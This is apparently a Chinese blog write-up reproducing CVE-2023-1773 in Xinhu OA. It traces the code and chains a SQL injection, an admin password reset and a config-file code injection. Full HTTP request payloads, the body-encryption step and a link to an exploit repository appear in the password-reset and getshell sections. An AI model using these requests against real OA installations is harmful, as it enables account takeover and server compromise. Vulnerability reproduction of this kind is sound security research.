目录

  1. 1. 前言
  2. 2. 环境准备
  3. 3. 代码分析
    1. 3.1. 入口
      1. 3.1.1. rockClass
    2. 3.2. 控制 webmainConfig.php
    3. 3.3. sql 注入
  4. 4. 修改密码登录
  5. 5. Getshell
  6. 6. Exploit
↑

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

CVE-2023-1773复现

2024/7/26 CVE OA
  |     |   总文章阅读量:次

前言

信呼 OA 在 2.3.3 版本之前存在代码注入漏洞。该漏洞影响到组件配置文件处理程序的 webmainConfig.php 文件的代码。篡改导致代码注入。

参考:

https://mp.weixin.qq.com/s/25IpbhFLNcgEfiAC-vZltQ

https://mytte-233.github.io/2023/12/25/%E5%AE%A1%E8%AE%A1/


环境准备

复现环境:

https://github.com/CTF-Archives/xinhu-v2.3.2

数据库帐密:root/123456

管理员帐密:admin/123456,安装完系统后修改密码为 admin123


代码分析

根据漏洞描述直接全局找 webmainConfig.php 的调用没找到,先从入口文件看起

入口

官方文档中也有提:http://www.rockoa.com/view_kuang.html

一个网址运行周期从 index.php 入口开始

一开始引入了 config/config.php

包含文件,定义常量

index.php 后面还引入了 include/View.php

接收了 ajaxbool ,m,a,d 参数

  • m 可以用|分隔,分隔的时候取 m[0] 为指定的 Action.php,去调用相关的 action 类。分别判断 m[0]Action.php,m[1]Action.php 是否存在,存在都会进行文件包含
  • a 则是作为 $actname 即要调用的 action 类中的方法,如 indexAction,这里就是 index
  • d 则是 $actpath 的一部分
  • ajaxbool 如果为 true,则会调用 $aAjax 的方法,如果为 false,直接调用 $aAction 方法。后面如果 $ajaxbool == 'html' || $ajaxbool == 'false' 还会进行模版渲染。所以调用的方法是 Action 或者 Ajax 结尾

可以看到这里的操作部分和 rockClass 对象 $rock 有关

rockClass

简单分析一下 rockClass

public function get($name,$dev='', $lx=0)  
{  
    $val=$dev;  
    if(isset($_GET[$name]))$val=$_GET[$name];  
    if($this->isempt($val))$val=$dev;  
    return $this->jmuncode($val, $lx, $name);  
}  
  
public function post($name,$dev='', $lx=0)  
{  
    $val  = '';  
    if(isset($_POST[$name])){$val=$_POST[$name];}else{if(isset($_GET[$name]))$val=$_GET[$name];}  
    if($this->isempt($val))$val=$dev;  
    return $this->jmuncode($val, $lx, $name);  
}  
  
public function request($name,$dev='', $lx=0)  
{  
    return $this->post($name,$dev,$lx);  
}

很明显这部分实现的是 php 的三个 http 请求方法,跟一下 jmuncode

public function jmuncode($s, $lx=0, $na='')  
{  
    $jmbo = false;  
    if($lx==3)$jmbo = $this->isjm($s);  
    if(substr($s, 0, 7)=='rockjm_' || $lx == 1 || $jmbo){  
       $s = str_replace('rockjm_', '', $s);  
       $s = $this->jm->uncrypt($s);  
       if($lx==1){  
          $jmbo = $this->isjm($s);  
          if($jmbo)$s = $this->jm->uncrypt($s);  
       }  
    }  
    if(substr($s, 0, 7)=='basejm_' || $lx==5){  
       $s = str_replace('basejm_', '', $s);  
       $s = $this->jm->base64decode($s);  
    }  
    $s=str_replace("'", '&#39', $s);  
    $s=str_replace('%20', '', $s);  
    if($lx==2)$s=str_replace(array('{','}'), array('[H1]','[H2]'), $s);  
    $str = strtolower($s);  
    foreach($this->lvlaras as $v1)if($this->contain($str, $v1)){  
       $this->debug(''.$na.'《'.$s.'》error:包含非法字符《'.$v1.'》','params_err');  
       $s = $this->lvlarrep($str, $v1);  
       $str = $s;  
    }  
    $cslv = array('m','a','p','d','ip','web','host','ajaxbool','token','adminid');  
    if(in_array($na, $cslv))$s = $this->xssrepstr($s);  
    return $this->reteistrs($s);  
}

可以看到这里对 ' 和 %20 进行了转义处理

public function stringformat($str, $arr=array())  
{  
    $s = $str;  
    for($i=0; $i<count($arr); $i++){  
       $s=str_replace('?'.$i.'', $arr[$i], $s);  
    }  
    return $s;  
}
public function strformat($str)  
{  
    $len = func_num_args();  
    $arr = array();  
    for($i=1; $i<$len; $i++)$arr[] = func_get_arg($i);  
    $s  = $this->stringformat($str, $arr);  
    return $s;  
}

strformat 实现了模版字符串,对于下面这个代码:

//引入配置文件  
$_confpath     = $rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);

ROOT_PATH 是项目根目录,而 PROJECT 的值为 define('PROJECT', $rock->get('p', 'webmain'));

默认值为 webmain,于是模版字符串拼接得到 ROOT_PATH/webmain/webmainConfig.php,也就是这个 CVE 受到影响的文件

控制 webmainConfig.php

那么现在全局找一下类似的写法

在 cogAction.php 中,跟踪这个 $_confpath

发现这里有一个文件写入,在同一个 savecongAjax 方法中

public function savecongAjax()  
{  
    if(getconfig('systype')=='demo')exit('演示上禁止设置');  
    if($this->getsession('isadmin')!='1')exit('非管理员不能操作');  
      
    $puurl           = $this->option->getval('reimpushurlsystem',1);  
      
    $_confpath    = $this->rock->strformat('?0/?1/?1Config.php', ROOT_PATH, PROJECT);  
    $arr         = require($_confpath);  
      
    $title           = $this->post('title');  
    if(!isempt($title))$arr['title'] = $title;  
      
    $arr['url']       = $this->post('url');  
    $arr['outurl']        = $this->post('outurl');  
    $arr['reimtitle']  = $this->post('reimtitle');  
    $arr['qqmapkey']   = $this->post('qqmapkey');  
    $arr['platurl']    = $this->post('platurl');  
      
    $apptitle        = $this->post('apptitle');  
    if(!isempt($apptitle))$arr['apptitle'] = $apptitle;  
      
    $asynkey         = $this->post('asynkey');  
    if(!isempt($asynkey))$arr['asynkey'] = $asynkey;  
      
    $db_drive        = $this->post('db_drive');  
    if(!isempt($db_drive)){  
       if($db_drive=='mysql' && !function_exists('mysql_connect'))exit('未开启mysql扩展模块');  
       if($db_drive=='mysqli' && !class_exists('mysqli'))exit('未开启mysqli扩展模块');  
       if($db_drive=='pdo' && !class_exists('PDO'))exit('未开启pdo扩展模块');  
       $arr['db_drive'] = $db_drive;  
    }  
      
    $arr['localurl']   = $this->post('localurl');  
    $arr['openkey']    = $this->post('openkey');  
      
    $arr['xinhukey']   = $this->post('xinhukey');  
    if(contain($arr['xinhukey'],'**'))$arr['xinhukey'] = getconfig('xinhukey');  
      
    $arr['bcolorxiang'] = $this->post('bcolorxiang');  
      
    $arr['officeyl']   = $this->post('officeyl');  
    $arr['useropt']    = $this->post('useropt');  
    $arr['editpass']   = $this->post('editpass');  
    $arr['defstype']   = $this->post('defstype','1');  
    $arr['officebj']   = $this->post('officebj');  
    $arr['officebj_key']= $this->post('officebj_key');  
      
    $asynsend        = $this->post('asynsend');  
    $arr['asynsend']   = $asynsend;  
      
    $arr['sqllog']        = $this->post('sqllog')=='1';  
    $arr['debug']     = $this->post('debug')=='1';  
    $arr['reim_show']  = $this->post('reim_show')=='1';  
    $arr['mobile_show'] = $this->post('mobile_show')=='1';  
    $arr['companymode'] = $this->post('companymode')=='1';  
    $arr['loginyzm']   = $this->post('loginyzm');  
    $arr['apptheme']   = $this->post('apptheme');
    
    // ...
    
       $str1 = '';  
       foreach($arr as $k=>$v){  
          $bz = '';  
          if(isset($smarr[$k]))$bz=' //'.$smarr[$k].'';  
          if(is_bool($v)){  
             $v = $v ? 'true' : 'false';  
          }else{  
             $v = "'$v'";  
          }  
          $str1.= "  '$k'   => $v,$bz\n";  
       }  
         
       $str = '<?php  
if(!defined(\'HOST\'))die(\'not access\');  
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件  
return array(  
'.$str1.'  
);';  
       @$bo = file_put_contents($_confpath, $str);  
       if($bo){  
          echo 'ok';  
       }else{  
          echo '保存失败无法写入:'.$_confpath.'';  
       }  
    }

调用这个方法的前提是 $GLOBALS['config'] 中 systype 不为 demo 且当前用户是管理员权限

<?php  
if(!defined(\'HOST\'))die(\'not access\');  
//['.$this->adminname.']在'.$this->now.'通过[系统→系统工具→系统设置],保存修改了配置文件  
return array(  
'.$str1.'  
);

而我们要进行代码注入,前面提过,jmuncode 对所有的 get 和 post 请求中的 ' 都进行了转义处理,无法直接逃逸

那么就不考虑从 str1 进行注入,注意到这里 $this->adminname 是从 $this->adminname = $this->getsession('adminname'); 来的,很明显这个是要从数据库来的,我们的目标是修改 admin 用户名为 \nphpinfo();//

sql 注入

先看下数据库操作

include/rockFun.php 中的 m 模版方法

/**  
*   m 读取数据模型,操作数据库的  
*   $name 表名/文件名  
*/  
function m($name)  
{  
    $cls      = NULL;  
    $pats     = $nac = '';  
    $nas      = $name;  
    $asq      = explode(':', $nas);  
    if(count($asq)>1){  
       $nas   = $asq[1];  
       $nac   = $asq[0];  
       $pats  = $nac.'/';  
       $_pats = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$nac.'/'.$nac.'.php';  
       if(file_exists($_pats)){  
          include_once($_pats);  
          $class = ''.$nac.'Model';  
          $cls   = new $class($nas);  
       }    
    }  
    $class    = ''.$nas.'ClassModel';  
    $path     = ''.ROOT_PATH.'/'.PROJECT.'/model/'.$pats.''.$nas.'Model.php';  
    if(file_exists($path)){  
       include_once($path);  
       if($nac!='')$class= $nac.'_'.$class;  
       $cls   = new $class($nas);  
    }  
    if($cls==NULL)$cls = new sModel($nas);  
    return $cls;  
}

然后寻找可能存在 sql 注入的地方,最好是直接对 admin 表有更新、插入操作的

webmain/task/api/reimplatAction.php

//修改手机号  
if($msgtype=='editmobile'){  
    $user  = arrvalue($data, 'user');  
    $mobile = arrvalue($data, 'mobile');  
    $where  = "`user`='$user'";  
    $upstr  = "`mobile`='$mobile'";  
    $db->update($upstr, $where);  
    $dbs   = m('admin');  
    $dbs->update($upstr,$where);  
    $uid   = $dbs->getmou('id',$where);  
    m('userinfo')->update($upstr,"`id`='$uid'");  
}

这里的 $where 和 $upstr 都是我们可控的,那么就可以有如下注入:

m('admin')->update("`mobile`='123',name='\nphpinfo();//'","`user`='admin'");

跟一下 update:

public function update($arr,$where)  
{  
    return $this->record($arr, $where);  
}
public function record($arr, $where='')  
{  
    return $this->db->record($this->table, $arr, $where);  
}

// mysql.php
/**  
    记录添加修改  
*/  public function record($table,$array,$where='')  
{  
    $addbool   = true;  
    if(!$this->isempt($where))$addbool=false;  
    $cont     = '';  
    if(is_array($array)){  
       foreach($array as $key=>$val){  
          $cont.=",`$key`=".$this->toaddval($val)."";  
       }  
       $cont  = substr($cont,1);  
    }else{  
       $cont  = $array;  
    }  
    if($addbool){  
       $sql="insert into `$table` set $cont";  
    }else{  
       $where = $this->getwhere($where);  
       $sql="update `$table` set $cont where $where";  
    }  
    return $this->tranbegin($sql);  
}

遍历 arr 里的每一个键值对然后更新数据,明显能注入

直接在源码里测试一下:

访问 index.php 后查看数据库

成功修改

接下来就是要通过调用 action 的方式来触发 sql 注入了


修改密码登录

首先我们需要成为 admin,那么就需要得到 admin 的帐密,借由 reimplatClassAction 我们可以直接修改密码

public function indexAction()  
{
	//修改密码  
	if($msgtype=='editpass'){  
	    $user = arrvalue($data, 'user');  
	    $pass = arrvalue($data, 'pass');  
	    if($pass && $user){  
	       $where  = "`user`='$user'";  
	       $mima  = md5($pass);  
	       m('admin')->update("`pass`='$mima',`editpass`=`editpass`+1", $where);  
	    }  
	}
}

但是这里

$body = $this->getpostdata();    
if(!$body)return;  
$db      = m('reimplat:dept');  
$key     = $db->gethkey();  
$bodystr = $this->jm->strunlook($body, $key);  
if(!$bodystr)return;

会对请求体进行一次解密,解决方法很简单,我们自己在这里输出加密后的内容,然后传入加密的请求体就可以了

可以看下加密的过程

/**  
*   字符串加密处理  
*/  
public function strlook($data,$key='')  
{  
    if(isempt($data))return '';  
    // $this->jmsstr = "fapzjkutcqsynrewblmxvgihdo"  
    if($key=='')$key   = md5($this->jmsstr);
    $x    = 0;  
    $len   = strlen($data);  
    $l    = strlen($key);  
    $char  = $str = '';  
    for ($i = 0; $i < $len; $i++){  
       if ($x == $l) {  
          $x = 0;  
       }  
       $char .= $key[$x];  
       $x++;  
    }  
    for ($i = 0; $i < $len; $i++){  
       $str .= chr(ord($data[$i]) + (ord($char[$i])) % 256);  
    }  
    return $this->base64encode($str);  
}

public function base64encode($str)  
{  
    if(isempt($str))return '';  
    $str   = base64_encode($str);  
    $str   = str_replace(array('+', '/', '='), array('!', '.', ':'), $str);  
    return $str;  
}

默认 $db->gethkey(); 为空,这里过一次 md5 得到 d41d8cd98f00b204e9800998ecf8427e

poc:

POST /index.php?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1
Host: eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 50
Origin: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com/?m=login
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720261151,1720603215,1720924263,1722006294; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; PHPSESSID=630665188e5fa3e071f5b3c2b5547d7c; deviceid=1722002940847; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1722006294; HMACCOUNT=47EB884D12C4280D

{"msgtype":"editpass","user":"admin","pass":"666"}

在源码添加 $test=$this->jm->strlook($body,$key);echo $test; 输出加密后的请求体,这里是 31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y:

把加密的请求体再次发包即可

POST /index.php?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1
Host: eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 67
Origin: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com/?m=login
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720261151,1720603215,1720924263,1722006294; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; PHPSESSID=630665188e5fa3e071f5b3c2b5547d7c; deviceid=1722002940847; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1722006294; HMACCOUNT=47EB884D12C4280D

31ae15.X3amdiGpSx5aZqNWaq6NSZVut2MjYWm5UmMnRnZ!GZIXUmqvZUmqEaGZqh7Y:

Getshell

get 的参数就是拼出 task/api/reimplatAction.php,调用其中的 indexAction

POST /index.php?d=task&m=reimplat|api&a=index&ajaxbool=false HTTP/1.1
Host: eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: application/json, text/javascript, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 74
Origin: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zehl4cktrtivqhzj088.cloudeci1.ichunqiu.com/?m=login
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1720261151,1720603215,1720924263,1722006294; chkphone=acWxNpxhQpDiAchhNuSnEqyiQuDIO0O0O; PHPSESSID=630665188e5fa3e071f5b3c2b5547d7c; deviceid=1722002940847; Hm_lpvt_2d0601bd28de7d49818249cf35d95943=1722006294; HMACCOUNT=47EB884D12C4280D

{"msgtype":"editmobile","user":"admin","mobile":"1',name='\nphpinfo();//"}

同样的方式获取加密后的 body 后再打进去即可,此时就成功修改 adminname 了

重新登录更新 session,然后文件包含 webmain/system/cog/cogAction.php,执行session的写入

然后访问 index.php 拿到 shell

image-20240727011604792


Exploit

https://github.com/C1oudfL0w0/CVE-2023-1773-Exploit